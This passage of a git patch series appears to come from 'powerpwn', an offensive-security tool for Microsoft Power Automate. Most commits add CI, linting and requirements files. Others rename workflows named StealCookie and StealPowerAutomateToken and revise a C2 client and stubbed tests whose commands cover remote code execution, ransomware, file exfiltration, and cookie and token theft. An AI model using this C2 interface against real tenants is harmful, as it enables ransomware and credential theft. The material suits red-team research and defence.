src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunStealPowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunStealPowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunStealPowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunStealPowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/StealPowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/StealPowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/StealPowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/StealPowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/[Content_Types].xml b/src/malicious_msft/solution/pwntoso_1_0_0_1/[Content_Types].xml similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/[Content_Types].xml rename to src/malicious_msft/solution/pwntoso_1_0_0_1/[Content_Types].xml diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/customizations.xml b/src/malicious_msft/solution/pwntoso_1_0_0_1/customizations.xml similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/customizations.xml rename to src/malicious_msft/solution/pwntoso_1_0_0_1/customizations.xml diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/solution.xml b/src/malicious_msft/solution/pwntoso_1_0_0_1/solution.xml similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/solution.xml rename to src/malicious_msft/solution/pwntoso_1_0_0_1/solution.xml From 1acbc644b2dd4bc2745cf4691eee5ccebb6ed9ff Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:13:05 +0300 Subject: [PATCH 12/29] add req file --- requirements.txt | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 requirements.txt diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..ea4cb9b --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +requests~=2.27.1 +pydantic~=1.9.0 \ No newline at end of file From f552f3faa59c9fe622d9363eb58caba161327747 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:14:52 +0300 Subject: [PATCH 13/29] add pr validation --- .github/workflows/pr_validation.yml | 128 ++++++++++++++++++++++++++++ requirements.txt | 2 - src/requirements.txt | 10 +++ 3 files changed, 138 insertions(+), 2 deletions(-) create mode 100644 .github/workflows/pr_validation.yml delete mode 100644 requirements.txt create mode 100644 src/requirements.txt diff --git a/.github/workflows/pr_validation.yml b/.github/workflows/pr_validation.yml new file mode 100644 index 0000000..deaea5e --- /dev/null +++ b/.github/workflows/pr_validation.yml @@ -0,0 +1,128 @@ +name: PR validation + +on: [pull_request] + +jobs: + + do-unit-tests: + name: Do unit tests + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest] + python-version: [3.6, 3.7, 3.8, 3.9, 3.10] + steps: + - name: Checkout main repo + uses: actions/checkout@v2 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + - name: Install dependencies + run: | + python -m pip install --upgrade pip + find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done + - name: Test and check coverage pytest + run: | + export PYTHONPATH=$PYTHONPATH:./src: + pytest tests/ -n auto --cov --cov-fail-under=80 --ignore=./tests + + do-flake8: + name: Do flake8 + runs-on: ubuntu-latest + strategy: + matrix: + python-version: [3.9] + steps: + - uses: actions/checkout@v2 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + - name: Install dependencies + run: | + python -m pip install --upgrade pip + find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done + - name: Lint with flake8 + run: | + flake8 src --count --show-source --statistics + + do-mypy: + name: Do Mypy + runs-on: ubuntu-latest + strategy: + matrix: + python-version: [3.9] + steps: + - uses: actions/checkout@v2 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + - name: Install dependencies + run: | + python -m pip install --upgrade pip + find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done + - name: Lint with mypy + run: | + mypy . + + do-isort: + name: Do isort + runs-on: ubuntu-latest + strategy: + matrix: + python-version: [3.9] + steps: + - uses: actions/checkout@v2 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + - name: Install dependencies + run: | + python -m pip install --upgrade pip + find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done + - name: Run isort + run: | + isort --check --diff . + + do-black: + name: Do black + runs-on: ubuntu-latest + strategy: + matrix: + python-version: [3.9] + steps: + - uses: actions/checkout@v2 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + - name: Install dependencies + run: | + python -m pip install --upgrade pip + find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done + - name: Run black + run: | + black --check --diff -C -l 150 . + + do-security-check: + name: Do security check + runs-on: ubuntu-latest + strategy: + matrix: + python-version: [3.9] + steps: + - uses: actions/checkout@v2 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + - name: Install dependencies + run: | + python -m pip install --upgrade pip + find . -name '*requirements.txt' | while read file; do pip install -r "$file"; done + - name: Run bandit + run: | + bandit -r . \ No newline at end of file diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index ea4cb9b..0000000 --- a/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -requests~=2.27.1 -pydantic~=1.9.0 \ No newline at end of file diff --git a/src/requirements.txt b/src/requirements.txt new file mode 100644 index 0000000..436fa44 --- /dev/null +++ b/src/requirements.txt @@ -0,0 +1,10 @@ +requests~=2.27.1 +pydantic~=1.9.0 +bandit~=1.7.2 +black~=22.3.0 +flake8~=4.0.1 +isort~=5.10.1 +mypy~=0.931 +pytest~=6.2.5 +pytest-cov~=3.0.0 +pytest-xdist~=2.5.0 \ No newline at end of file From 17e4b1c97ba6a89445e500cb7387d46e3057e7e6 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:19:27 +0300 Subject: [PATCH 14/29] limit to 3.9 for now --- .github/workflows/pr_validation.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pr_validation.yml b/.github/workflows/pr_validation.yml index deaea5e..3e82cde 100644 --- a/.github/workflows/pr_validation.yml +++ b/.github/workflows/pr_validation.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest] - python-version: [3.6, 3.7, 3.8, 3.9, 3.10] + python-version: [3.9] steps: - name: Checkout main repo uses: actions/checkout@v2 From 8d33065e8fd4311419fbd2915d8039a19ba442fa Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:22:02 +0300 Subject: [PATCH 15/29] fix reqs --- src/requirements.txt | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/src/requirements.txt b/src/requirements.txt index 436fa44..014c0a7 100644 --- a/src/requirements.txt +++ b/src/requirements.txt @@ -1,10 +1,9 @@ -requests~=2.27.1 +requests~=2.25.1 pydantic~=1.9.0 bandit~=1.7.2 -black~=22.3.0 +black~=21.12b0 flake8~=4.0.1 isort~=5.10.1 mypy~=0.931 pytest~=6.2.5 -pytest-cov~=3.0.0 -pytest-xdist~=2.5.0 \ No newline at end of file +pytest-cov~=3.0.0 \ No newline at end of file From acbfd42bdb70203481478ec7e0a74a0e450c7c60 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:23:05 +0300 Subject: [PATCH 16/29] add pytest-xdist --- src/requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/requirements.txt b/src/requirements.txt index 014c0a7..a90cbb3 100644 --- a/src/requirements.txt +++ b/src/requirements.txt @@ -6,4 +6,5 @@ flake8~=4.0.1 isort~=5.10.1 mypy~=0.931 pytest~=6.2.5 -pytest-cov~=3.0.0 \ No newline at end of file +pytest-cov~=3.0.0 +pytest-xdist~=2.5.0 \ No newline at end of file From 31b1786c9848d9ba20b3104276748da388fbe31b Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:28:00 +0300 Subject: [PATCH 17/29] intro config files --- .bandit | 6 ++++++ .coveragerc | 6 ++++++ .flake8 | 0 .gitattributes | 12 ++++++++++++ .github/workflows/pr_validation.yml | 2 +- .isort.cfg | 6 ++++++ 6 files changed, 31 insertions(+), 1 deletion(-) create mode 100644 .bandit create mode 100644 .coveragerc create mode 100644 .flake8 create mode 100644 .gitattributes create mode 100644 .isort.cfg diff --git a/.bandit b/.bandit new file mode 100644 index 0000000..ae70450 --- /dev/null +++ b/.bandit @@ -0,0 +1,6 @@ +[bandit] +skips: B101[flake8] +ignore = E203, E266, E501, W503 +max-line-length = 150 +max-complexity = 18 +select = B,C,E,F,W,T4 \ No newline at end of file diff --git a/.coveragerc b/.coveragerc new file mode 100644 index 0000000..5ab10c9 --- /dev/null +++ b/.coveragerc @@ -0,0 +1,6 @@ +[run] +source = src/powerpwn/ +omit = + tests/* + docs/* + src/malicious_msft/* \ No newline at end of file diff --git a/.flake8 b/.flake8 new file mode 100644 index 0000000..e69de29 diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..fa0a7de --- /dev/null +++ b/.gitattributes @@ -0,0 +1,12 @@ +# Set the default behavior, in case people don't have core.autocrlf set. +* text=auto + +# Use text conventions for commonly used text extensions. +*.csv text +*.ini text +*.json text +*.yml text +*.txt text +*.xml text +*.py text +*.sh text \ No newline at end of file diff --git a/.github/workflows/pr_validation.yml b/.github/workflows/pr_validation.yml index 3e82cde..bc92a59 100644 --- a/.github/workflows/pr_validation.yml +++ b/.github/workflows/pr_validation.yml @@ -25,7 +25,7 @@ jobs: - name: Test and check coverage pytest run: | export PYTHONPATH=$PYTHONPATH:./src: - pytest tests/ -n auto --cov --cov-fail-under=80 --ignore=./tests + pytest tests/ -n auto --cov --cov-fail-under=60 --ignore=./tests do-flake8: name: Do flake8 diff --git a/.isort.cfg b/.isort.cfg new file mode 100644 index 0000000..55a020a --- /dev/null +++ b/.isort.cfg @@ -0,0 +1,6 @@ +[settings] +line_length=150 +multi_line_output=3 +include_trailing_comma=True +force_grid_wrap=0 +use_parentheses=True \ No newline at end of file From 3ee1237d47afaa81d6eaa5097d5d55584e8a2b1f Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:29:08 +0300 Subject: [PATCH 18/29] fix flake8 --- .flake8 | 5 +++++ src/powerpwn/__init__.py | 1 - 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/.flake8 b/.flake8 index e69de29..9ec616e 100644 --- a/.flake8 +++ b/.flake8 @@ -0,0 +1,5 @@ +[flake8] +ignore = E203, E266, E501, W503 +max-line-length = 150 +max-complexity = 18 +select = B,C,E,F,W,T4 \ No newline at end of file diff --git a/src/powerpwn/__init__.py b/src/powerpwn/__init__.py index d3bef61..e69de29 100644 --- a/src/powerpwn/__init__.py +++ b/src/powerpwn/__init__.py @@ -1 +0,0 @@ -from powerpwn.c2 import PowerPwnC2 \ No newline at end of file From 81fae5a729a5749a509c9831cbeb979f1eb0cc90 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:46:57 +0300 Subject: [PATCH 19/29] working tests --- .../__init__.py | 0 tests/powerpwn_tests/c2_test.py | 83 +++++++++++++++++++ tests/powerpwntests/c2_test.py | 42 ---------- 3 files changed, 83 insertions(+), 42 deletions(-) rename tests/{powerpwntests => powerpwn_tests}/__init__.py (100%) create mode 100644 tests/powerpwn_tests/c2_test.py delete mode 100644 tests/powerpwntests/c2_test.py diff --git a/tests/powerpwntests/__init__.py b/tests/powerpwn_tests/__init__.py similarity index 100% rename from tests/powerpwntests/__init__.py rename to tests/powerpwn_tests/__init__.py diff --git a/tests/powerpwn_tests/c2_test.py b/tests/powerpwn_tests/c2_test.py new file mode 100644 index 0000000..b7ae9ee --- /dev/null +++ b/tests/powerpwn_tests/c2_test.py @@ -0,0 +1,83 @@ +from typing import List + +import pytest + +from powerpwn.c2 import PowerPwnC2 +from powerpwn.models.cmd_arguments import CommandToRunEnum +from powerpwn.models.cmd_results import ( + AgentRunErrors, + AgentRunType, + CleanupOutputs, + CodeExecOutputs, + CommandResults, + ExfiltrationOutputs, + RansomwareOutputs, + StealCookieOutputs, + StealPowerAutomateTokenOutputs, +) + +POST_URL = "" +DEBUG = True + + +class DummyPowerPwnC2(PowerPwnC2): + def __init__(self, post_url: str, debug: bool, command_to_run: CommandToRunEnum): + super().__init__(post_url, debug) + self.command_to_run = command_to_run + + def _run_cmd(self, arguments_as_dict: dict) -> dict: + cmd_res = CommandResults.construct( + is_success=True, + agent_run_type=AgentRunType.attended.value, + agent_run_errors=AgentRunErrors.construct(attended_run_error={}, unattended_run_error={}), + ) + + if self.command_to_run == CommandToRunEnum.CODE_EXEC: + cmd_res.cmd_code_execution = CodeExecOutputs.construct() + elif self.command_to_run == CommandToRunEnum.RANSOMWARE: + cmd_res.cmd_ransomware = RansomwareOutputs.construct() + elif self.command_to_run == CommandToRunEnum.EXFILTRATION: + cmd_res.cmd_exfiltration = ExfiltrationOutputs.construct() + elif self.command_to_run == CommandToRunEnum.CLEANUP: + cmd_res.cmd_cleanup = CleanupOutputs.construct() + elif self.command_to_run == CommandToRunEnum.STEAL_POWER_AUTOMATE_TOKEN: + cmd_res.cmd_steal_power_automate_token = StealPowerAutomateTokenOutputs.construct() + elif self.command_to_run == CommandToRunEnum.STEAL_COOKIE: + cmd_res.cmd_steal_cookie = StealCookieOutputs.construct() + else: + raise ValueError(f"command_to_run has invalid value: {self.command_to_run}.") + + return cmd_res.json() + + +@pytest.mark.parametrize("exec_env", ["exec_p2", "exec_vb" "exec_js", "exec_ps", "exec_cmd"]) +def test_code_exec(exec_env: str, command: str = ""): + c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.CODE_EXEC) + + exec_env_command = getattr(c2, exec_env) + exec_env_command(command=command) + + +def test_ransomware(crawl_depth: str, dirs_to_init_crawl: List[str], encryption_key: str): + c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.RANSOMWARE) + c2.ransomware(crawl_depth=crawl_depth, dirs_to_init_crawl=dirs_to_init_crawl, encryption_key=encryption_key) + + +def test_exfiltration(target_file_path: str): + c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.EXFILTRATION) + c2.exfiltrate(target_file_path=target_file_path) + + +def test_cleanup(): + c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.CLEANUP) + c2.cleanup() + + +def test_steal_power_automate_token(): + c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.STEAL_POWER_AUTOMATE_TOKEN) + c2.steal_power_automate_token() + + +def test_steal_cookie(fqdn: str = ""): + c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.STEAL_COOKIE) + c2.steal_cookie(fqdn=fqdn) diff --git a/tests/powerpwntests/c2_test.py b/tests/powerpwntests/c2_test.py deleted file mode 100644 index 8bdfefa..0000000 --- a/tests/powerpwntests/c2_test.py +++ /dev/null @@ -1,42 +0,0 @@ -from powerpwn.c2 import PowerPwnC2 -from powerpwn.models.cmd_arguments import CommandArguments, CommandToRunEnum -from powerpwn.models.cmd_results import ( - AgentRunErrors, - AgentRunType, - CleanupOutputs, - CodeExecOutputs, - CommandResults, - ExfiltrationOutputs, - RansomwareOutputs, - StealCookieOutputs, - StealPowerAutomateTokenOutputs, -) - - -class DummyPowerPwnC2(PowerPwnC2): - def _run_cmd(self, arguments_as_dict: dict) -> dict: - command_to_run_arg_name = CommandArguments.command_to_run.__name__ - command_to_run_val = arguments_as_dict[command_to_run_arg_name] - - cmd_res = CommandResults.construct( - is_success=True, - agent_run_type=AgentRunType.attended.value, - agent_run_errors=AgentRunErrors.construct(attended_run_error={}, unattended_run_error={}), - ) - - if command_to_run_val == CommandToRunEnum.CODE_EXEC.value: - cmd_res.cmd_code_execution = CodeExecOutputs.construct() - elif command_to_run_val == CommandToRunEnum.RANSOMWARE.value: - cmd_res.cmd_ransomware = RansomwareOutputs.construct() - elif command_to_run_val == CommandToRunEnum.EXFILTRATION.value: - cmd_res.cmd_exfiltration = ExfiltrationOutputs.construct() - elif command_to_run_val == CommandToRunEnum.CLEANUP.value: - cmd_res.cmd_cleanup = CleanupOutputs.construct() - elif command_to_run_val == CommandToRunEnum.STEAL_POWER_AUTOMATE_TOKEN.value: - cmd_res.cmd_steal_power_automate_token = StealPowerAutomateTokenOutputs.construct() - elif command_to_run_val == CommandToRunEnum.STEAL_COOKIE.value: - cmd_res.cmd_steal_cookie = StealCookieOutputs.construct() - else: - raise ValueError(f"command_to_run has invalid value: {command_to_run_val}.") - - return cmd_res.json() From 380a535fcbd370ace13764d6397bba83451ee78b Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:52:48 +0300 Subject: [PATCH 20/29] fix typo --- tests/powerpwn_tests/c2_test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/powerpwn_tests/c2_test.py b/tests/powerpwn_tests/c2_test.py index b7ae9ee..d45cafd 100644 --- a/tests/powerpwn_tests/c2_test.py +++ b/tests/powerpwn_tests/c2_test.py @@ -50,7 +50,7 @@ def _run_cmd(self, arguments_as_dict: dict) -> dict: return cmd_res.json() -@pytest.mark.parametrize("exec_env", ["exec_p2", "exec_vb" "exec_js", "exec_ps", "exec_cmd"]) +@pytest.mark.parametrize("exec_env", ["exec_py2", "exec_vb" "exec_js", "exec_ps", "exec_cmd"]) def test_code_exec(exec_env: str, command: str = ""): c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.CODE_EXEC) From 82e70bd403e2d8a43f78dc1986d7cdc40ceb06bf Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:54:19 +0300 Subject: [PATCH 21/29] mypy cfg file --- setup.cfg | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 setup.cfg diff --git a/setup.cfg b/setup.cfg new file mode 100644 index 0000000..188b26e --- /dev/null +++ b/setup.cfg @@ -0,0 +1,28 @@ +[mypy] +plugins = pydantic.mypy + +follow_imports = normal +ignore_errors = false +implicit_reexport = false +warn_redundant_casts = True +warn_unused_ignores = True +disallow_any_generics = True +disallow_untyped_defs = True +check_untyped_defs = True +allow_redefinition = false +local_partial_types = True +strict_optional = true +strict_equality = true +warn_unused_configs = true +warn_unreachable = true +warn_no_return = true + +# This is becoming the default since Python's PEPs for type hints specify implicit optionals should no longer be supported +no_implicit_optional = true + +# Mypy plugins +[pydantic-mypy] +init_forbid_extra = True +init_typed = True +warn_required_dynamic_aliases = True +warn_untyped_fields = True \ No newline at end of file From 196cb66c7be241d179f99448dcf996f9d22b7e8f Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 22:02:17 +0300 Subject: [PATCH 22/29] fix fixtures --- src/powerpwn/c2.py | 2 +- tests/powerpwn_tests/c2_test.py | 6 ++++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/src/powerpwn/c2.py b/src/powerpwn/c2.py index f742591..a650516 100644 --- a/src/powerpwn/c2.py +++ b/src/powerpwn/c2.py @@ -34,7 +34,7 @@ def run_cmd(self, arguments: CommandArguments) -> CommandResults: return cmd_res def _run_cmd(self, arguments_as_dict: dict) -> dict: - resp = requests.post(url=self.post_url, json=arguments_as_dict) + resp = requests.post(url=self.post_url, json=arguments_as_dict) # type: ignore if self.debug: print(f"Raw content: {resp.content}") diff --git a/tests/powerpwn_tests/c2_test.py b/tests/powerpwn_tests/c2_test.py index d45cafd..daab841 100644 --- a/tests/powerpwn_tests/c2_test.py +++ b/tests/powerpwn_tests/c2_test.py @@ -58,12 +58,14 @@ def test_code_exec(exec_env: str, command: str = ""): exec_env_command(command=command) -def test_ransomware(crawl_depth: str, dirs_to_init_crawl: List[str], encryption_key: str): +def test_ransomware(crawl_depth: str = 0, dirs_to_init_crawl: List[str] = None, encryption_key: str = ""): + if dirs_to_init_crawl is None: + dirs_to_init_crawl = [] c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.RANSOMWARE) c2.ransomware(crawl_depth=crawl_depth, dirs_to_init_crawl=dirs_to_init_crawl, encryption_key=encryption_key) -def test_exfiltration(target_file_path: str): +def test_exfiltration(target_file_path: str = ""): c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.EXFILTRATION) c2.exfiltrate(target_file_path=target_file_path) From c82df4f26767eb91f0ca2104e7f4452ddb7821a9 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 22:16:09 +0300 Subject: [PATCH 23/29] fix mypy --- .bandit | 1 - src/powerpwn/c2.py | 11 ++++++----- src/powerpwn/models/cmd_results.py | 6 +++--- tests/powerpwn_tests/c2_test.py | 23 ++++++++++++----------- 4 files changed, 21 insertions(+), 20 deletions(-) diff --git a/.bandit b/.bandit index ae70450..0b42629 100644 --- a/.bandit +++ b/.bandit @@ -1,5 +1,4 @@ [bandit] -skips: B101[flake8] ignore = E203, E266, E501, W503 max-line-length = 150 max-complexity = 18 diff --git a/src/powerpwn/c2.py b/src/powerpwn/c2.py index a650516..e26ff60 100644 --- a/src/powerpwn/c2.py +++ b/src/powerpwn/c2.py @@ -1,5 +1,5 @@ import json -from typing import List +from typing import Dict, List import requests from pydantic.error_wrappers import ValidationError @@ -33,16 +33,17 @@ def run_cmd(self, arguments: CommandArguments) -> CommandResults: cmd_res = CommandResults.parse_obj(results) return cmd_res - def _run_cmd(self, arguments_as_dict: dict) -> dict: - resp = requests.post(url=self.post_url, json=arguments_as_dict) # type: ignore + def _run_cmd(self, arguments_as_dict: dict) -> dict: # type: ignore + # noinspection PyTypeChecker + resp = requests.post(url=self.post_url, json=arguments_as_dict) if self.debug: - print(f"Raw content: {resp.content}") + print(f"Raw content: {resp.content.decode('utf8')}") try: return resp.json() except ValidationError: - print(f"Bad response. Raw content: {resp.content}") + print(f"Bad response. Raw content: {resp.content.decode('utf8')}") raise def exec_py2(self, command: str) -> CommandResults: diff --git a/src/powerpwn/models/cmd_results.py b/src/powerpwn/models/cmd_results.py index 335aa79..3b94c32 100644 --- a/src/powerpwn/models/cmd_results.py +++ b/src/powerpwn/models/cmd_results.py @@ -1,5 +1,5 @@ from enum import Enum, auto -from typing import Optional +from typing import Dict, Optional from pydantic import BaseModel, Field @@ -41,8 +41,8 @@ class AgentRunType(Enum): class AgentRunErrors(BaseModel): - attended_run_error: dict - unattended_run_error: dict + attended_run_error: dict # type: ignore + unattended_run_error: dict # type: ignore class CommandResults(BaseModel): diff --git a/tests/powerpwn_tests/c2_test.py b/tests/powerpwn_tests/c2_test.py index daab841..8bfb542 100644 --- a/tests/powerpwn_tests/c2_test.py +++ b/tests/powerpwn_tests/c2_test.py @@ -1,4 +1,4 @@ -from typing import List +from typing import Dict, List, Optional, cast import pytest @@ -25,10 +25,10 @@ def __init__(self, post_url: str, debug: bool, command_to_run: CommandToRunEnum) super().__init__(post_url, debug) self.command_to_run = command_to_run - def _run_cmd(self, arguments_as_dict: dict) -> dict: + def _run_cmd(self, arguments_as_dict: dict) -> dict: # type: ignore cmd_res = CommandResults.construct( is_success=True, - agent_run_type=AgentRunType.attended.value, + agent_run_type=AgentRunType.attended, agent_run_errors=AgentRunErrors.construct(attended_run_error={}, unattended_run_error={}), ) @@ -47,39 +47,40 @@ def _run_cmd(self, arguments_as_dict: dict) -> dict: else: raise ValueError(f"command_to_run has invalid value: {self.command_to_run}.") - return cmd_res.json() + cmd_res_as_dict = cast(dict, cmd_res.json()) # type: ignore + return cmd_res_as_dict @pytest.mark.parametrize("exec_env", ["exec_py2", "exec_vb" "exec_js", "exec_ps", "exec_cmd"]) -def test_code_exec(exec_env: str, command: str = ""): +def test_code_exec(exec_env: str, command: str = "") -> None: c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.CODE_EXEC) exec_env_command = getattr(c2, exec_env) exec_env_command(command=command) -def test_ransomware(crawl_depth: str = 0, dirs_to_init_crawl: List[str] = None, encryption_key: str = ""): +def test_ransomware(crawl_depth: str = "0", dirs_to_init_crawl: Optional[List[str]] = None, encryption_key: str = "") -> None: if dirs_to_init_crawl is None: - dirs_to_init_crawl = [] + dirs_to_init_crawl = [""] c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.RANSOMWARE) c2.ransomware(crawl_depth=crawl_depth, dirs_to_init_crawl=dirs_to_init_crawl, encryption_key=encryption_key) -def test_exfiltration(target_file_path: str = ""): +def test_exfiltration(target_file_path: str = "") -> None: c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.EXFILTRATION) c2.exfiltrate(target_file_path=target_file_path) -def test_cleanup(): +def test_cleanup() -> None: c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.CLEANUP) c2.cleanup() -def test_steal_power_automate_token(): +def test_steal_power_automate_token() -> None: c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.STEAL_POWER_AUTOMATE_TOKEN) c2.steal_power_automate_token() -def test_steal_cookie(fqdn: str = ""): +def test_steal_cookie(fqdn: str = "") -> None: c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.STEAL_COOKIE) c2.steal_cookie(fqdn=fqdn) From f7619e9e9db2a6243dcf1a4c837fc7517a388c38 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 22:19:13 +0300 Subject: [PATCH 24/29] add json load where needed --- tests/powerpwn_tests/c2_test.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/powerpwn_tests/c2_test.py b/tests/powerpwn_tests/c2_test.py index 8bfb542..7e459d6 100644 --- a/tests/powerpwn_tests/c2_test.py +++ b/tests/powerpwn_tests/c2_test.py @@ -1,3 +1,4 @@ +import json from typing import Dict, List, Optional, cast import pytest @@ -47,7 +48,7 @@ def _run_cmd(self, arguments_as_dict: dict) -> dict: # type: ignore else: raise ValueError(f"command_to_run has invalid value: {self.command_to_run}.") - cmd_res_as_dict = cast(dict, cmd_res.json()) # type: ignore + cmd_res_as_dict = json.loads(cmd_res.json()) return cmd_res_as_dict From 0f7b50d478be1ca445d5a64068d197830b6dcb16 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 22:19:24 +0300 Subject: [PATCH 25/29] fix missing comma --- tests/powerpwn_tests/c2_test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/powerpwn_tests/c2_test.py b/tests/powerpwn_tests/c2_test.py index 7e459d6..7e30d9a 100644 --- a/tests/powerpwn_tests/c2_test.py +++ b/tests/powerpwn_tests/c2_test.py @@ -52,7 +52,7 @@ def _run_cmd(self, arguments_as_dict: dict) -> dict: # type: ignore return cmd_res_as_dict -@pytest.mark.parametrize("exec_env", ["exec_py2", "exec_vb" "exec_js", "exec_ps", "exec_cmd"]) +@pytest.mark.parametrize("exec_env", ["exec_py2", "exec_vb", "exec_js", "exec_ps", "exec_cmd"]) def test_code_exec(exec_env: str, 